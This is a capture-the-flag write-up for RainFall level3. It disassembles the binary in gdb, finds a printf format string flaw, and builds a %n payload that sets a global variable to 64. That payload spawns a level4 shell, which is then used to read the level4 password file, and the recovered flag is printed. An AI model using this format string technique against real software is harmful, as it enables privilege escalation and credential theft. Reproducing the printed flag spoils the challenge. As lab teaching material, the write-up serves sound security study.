printf() format string attack
level3@RainFall:~$ ls -l
-rwsr-s---+ 1 level4 users 5366 Mar 6 2016 level3
level3@RainFall:~$ ./level3
hello
hello
We have a binary that prints input from the stdin.
Let's take a look at the binary in gdb.
We can see here that level3 makes a call to main(), which makes a call to a function v().
(gdb) disas main
Dump of assembler code for function main:
0x0804851a <+0>: push %ebp
0x0804851b <+1>: mov %esp,%ebp
0x0804851d <+3>: and $0xfffffff0,%esp
0x08048520 <+6>: call 0x80484a4 <v>
0x08048525 <+11>: leave
0x08048526 <+12>: ret
End of assembler dump.
Let's take a deeper look a v().
We can see two function calls in v().
One is to fgets(), which is protected against buffer overflow attacks.
The other is to printf(), which is vulnerable to string format exploits.
(gdb) disas v
[...]
0x080484c7 <+35>: call 0x80483a0 <fgets@plt>
0x080484d5 <+49>: call 0x8048390 <printf@plt>
We also find a global variable m at address 0x804988c.
(gdb) break v
(gdb) run
(gdb) info variables
0x0804988c m
Back in v(), we see a comparison of variable m to the value 64 (or $0x40 in hexadecimal).
If the comparison is not equal (jne), then the program quits.
If the comparison is true, the program makes a call to system() and launches a new shell.
0x080484da <+54>: mov 0x804988c,%eax
0x080484df <+59>: cmp $0x40,%eax
0x080484e2 <+62>: jne 0x8048518 <v+116>
[...]
0x08048513 <+111>: call 0x80483c0 <system@plt>
0x08048518 <+116>: leave
We know that a printf() string with spurious % specifiers can be used to read whatever is on the stack.
Let's try it out. We'll use the modifier %x, which will print out addresses on the stack in hexadecimal.
level3@RainFall:~$ python -c 'print "AAAA %x %x %x %x %x %x %x"' | ./level3
AAAA 200 b7fd1ac0 b7ff37d0 41414141 20782520 25207825 78252078
Interesting... We can see our buffer "AAAA" in the 4th position on the stack as 41414141.
This means that we can leverage printf to write our variable m's address directly in the stack!
So let's replace our buffer "AAAA" with the address of the variable m (in little endian).
level3@RainFall:~$ python -c "print '\x8c\x98\x04\x08'+'%x %x %x %x'" | ./level3
�200 b7fd1ac0 b7ff37d0 804988c
Great. Now how do we get our new m to have the value 64?
Well, we also know that with printf's %n modifier, some values can be written to memory.
%n means: "the next argument is an int * – go there and write the number characters written so far".
Let's break down what this exploit format string will look like.
- address of
m[4 bytes] - pad of arbitrary data [60 bytes]
4$($ is a shortcut to specifying the argument number. In this case, the 4th argument on the stack)%n(writes 64 to memory at the address ofm)
level3@RainFall:~$ (python -c 'print "\x8c\x98\x04\x08"+"A"*60+"%4$n"' ; cat -) | ./level3
�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Wait what?!
whoami
level4
cat /home/user/level4/.pass
b209ea91ad69ef36f2cf0fcbbc24c739fd10464cf545b20bea8572ebdc3c36fa
As user level4, in /tmp, create and compile level3_source.c.
level4@RainFall:~$ cd /tmp
level4@RainFall:/tmp$ gcc level3_source.c -fno-stack-protector -o level3_source
Edit permissions including suid, then move the binary to home directory.
level4@RainFall:/tmp$ chmod u+s level3_source
level4@RainFall:/tmp$ chmod +wx ~; mv level3_source ~
Exit back to user level3, then run the binary.
(Note: Our new variable m is located at 0x0804a04c, but we still print the address in little endian).
level4@RainFall:/tmp$ exit
exit
level3@RainFall:~$ (python -c 'print "\x4c\xa0\x04\x08"+"A"*60+"%4$n"' ; cat -) | /home/user/level4/level3_source